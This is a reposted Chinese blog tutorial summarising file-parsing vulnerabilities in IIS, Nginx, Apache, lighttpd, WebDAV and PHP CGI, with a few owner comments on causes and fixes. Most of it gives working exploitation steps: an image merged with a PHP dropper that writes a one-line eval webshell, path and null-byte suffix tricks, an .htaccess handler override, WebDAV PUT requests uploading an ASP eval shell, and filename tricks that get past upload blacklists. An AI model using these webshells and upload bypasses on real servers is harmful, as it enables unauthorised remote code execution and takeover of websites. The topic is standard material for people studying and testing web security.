zoukankan      html  css  js  c++  java
  • 文件解析漏洞汇总

    解析漏洞正如其名,一般大家常说的是,文件在某种格式下,会被执行为该脚本语言的文件。

    文件上传漏洞通常与Web容器的解析漏洞配合利用

    常见Web容器有IIS、Nginx、Apache、Tomcat等

    好了正文开始汇总了,反正都转载贴的,我自己也忘了在哪里看到的了,就不注明转贴地址了。

    IIS 6.0解析漏洞

    目录解析:/xx.asp/xx.jpg xx.jpg可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码

    IIS6.0 会将 xx.jpg 解析为 asp 文件。

    后缀解析:/xx.asp;.jpg /xx.asp:.jpg(此处需抓包修改文件名)

    IIS6.0 都会把此类后缀文件成功解析为 asp 文件。

    (站长评论:IIS6.0解析漏洞的成因,可以查阅罗哥写的一篇短文:IIS 文件名解析漏洞扼要分析

    {/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去,剩下/xx.asp}

    (站长评论:发现错误,并不是不允许存在,这种路径叫做“NTFS数据流”,具体见:IIS6使用冒号上传漏洞,发现IIS6漏洞(上传利用) 底下的评论)

    默认解析:/xx.asa /xx.cer /xx.cdx

    IIS6.0 默认的可执行文件除了 asp 还包含这三种

    (站长评论:这种主要是由于在 IIS 默认配置中,这几个后缀默认由 asp.dll 来解析,所以执行权限和 .asp 一摸一样,你可在配置中自行删除该后缀,以防止安全隐患)

    此处可联系利用目录解析漏洞 /xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg

    IIS 7.0/IIS 7.5/Nginx <=0.8.37 解析漏洞

    IIS 7.0/IIS 7.5/Nginx <=0.8.37

    在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面加上/xx.PHP会将 /xx.jpg/xx.php 解析为 php 文件。

    常用利用方法: 将一张图和一个写入后门代码的文本文件合并 将恶意文本写入图片的二进制代码之后,避免破坏图片文件头和尾

    e.g. copy xx.jpg/b + yy.txt/a xy.jpg

    ######################################

    /b 即二进制[binary]模式

    /a 即ascii模式 xx.jpg正常图片文件

    yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

    意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称为shell.php的文件

    ######################################

    找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php 即可执行恶意文本。

    然后就在图片目录下生成一句话木马 shell.php 密码 cmd

    Nginx <=0.8.37 解析漏洞

    在Fast-CGI关闭的情况下,Nginx <=0.8.37 依然存在解析漏洞

    在一个文件路径(/xx.jpg)后面加上%00.php会将 /xx.jpg%00.php 解析为 php 文件。

    (站长评论:从 /test.jpg/x.php 演变过来的,具体可以参考:Ngnix 空字节可远程执行代码漏洞

    Apache 解析漏洞

    后缀解析:test.php.x1.x2.x3

    Apache将从右至左开始判断后缀,若x3非可识别后缀,再判断x2,直到找到可识别后缀为止,然后将该可识别后缀进解析

    test.php.x1.x2.x3 则会被解析为php

    经验之谈:php|php3|phtml 多可被Apache解析

    (站长评论:关于 apache 解析漏洞可以查阅“Apache 漏洞之后缀名解析漏洞”)

    --------------------------------------------------------------------------------------------------------------

    Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断.

    比如 cracer.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把cracer.php.owf.rar解析成php.

    如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个cracer.php.rara.jpg.png…(把你知道的常见后缀都写上…)去测试是否是合法后缀。

    其他一些可利用的 解析漏洞

    在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点,这也是可以被利用的!

    在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可得到shell。

    我记得Fck Php 2.6就存在加空格绕过的漏洞。{Linux主机中不行,Linux允许这类文件存在}

    如果在Apache中.htaccess可被应用(Apache的配置文件httpd.conf中对目录的AllowOverride设置为All时,apache会应用目录下.htaccess中的配置 By sfasfas),

    且可以被上传,那可以尝试在.htaccess中写入:

    <FilesMatch “shell.jpg”> SetHandler application/x-httpd-php </FilesMatch>

    shell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件

    lighttpd 解析漏洞

    xx.jpg/xx.php

    WebDav漏洞

    WebDav是一种基于HTTP1.1协议的通信协议,它扩展了HTTP协议。在开启WebDav后若
    支持PUT、Move、Copy、Delete等方法,就会存在安全隐患。

    测试步骤如下:
    1)通过OPTIONS探测服务器所支持的HTTP方法
    请求:
    OPTIONS / HTTP/1.1
    Host: 
    2)通过PUT方法向服务器上传shell
    请求:
    PUT /a.txt HTTP/1.1
    Host: 
    Content-Length: 30

    <%eval request("chopper") %>
    3)通过Move或Copy方法改名
    请求:
    COPY /a.txt HTTP/1.1
    Host: 
    Destination: 
    4)用DELETE方法删除文件
    请求:
    DELETE /a.txt HTTP/1.1
    Host: 

    注:可用桂林老兵的IIS Write快速探测服务器是否存在WebDav漏洞

    PHP CGI解析漏洞

    当php的配置文件中的选项cgi.fix_pathinfo = 1开启时,当访问
    时,若x.php不存在,则PHP会递归向前解析,将x.txt当作php脚本来解析

    IIS中:任意文件名/任意文件名.php就会被解析为php
    Nginx中:任意文件名/任意文件名.php就会被解析为php

  • 相关阅读:
    leetcode108 Convert Sorted Array to Binary Search Tree
    leetcode98 Validate Binary Search Tree
    leetcode103 Binary Tree Zigzag Level Order Traversal
    leetcode116 Populating Next Right Pointers in Each Node
    Python全栈之路Day15
    Python全栈之路Day11
    集群监控
    Python全栈之路Day10
    自动部署反向代理、web、nfs
    5.Scss的插值
  • 原文地址:https://www.cnblogs.com/dsli/p/7284501.html
Copyright © 2011-2022 走看看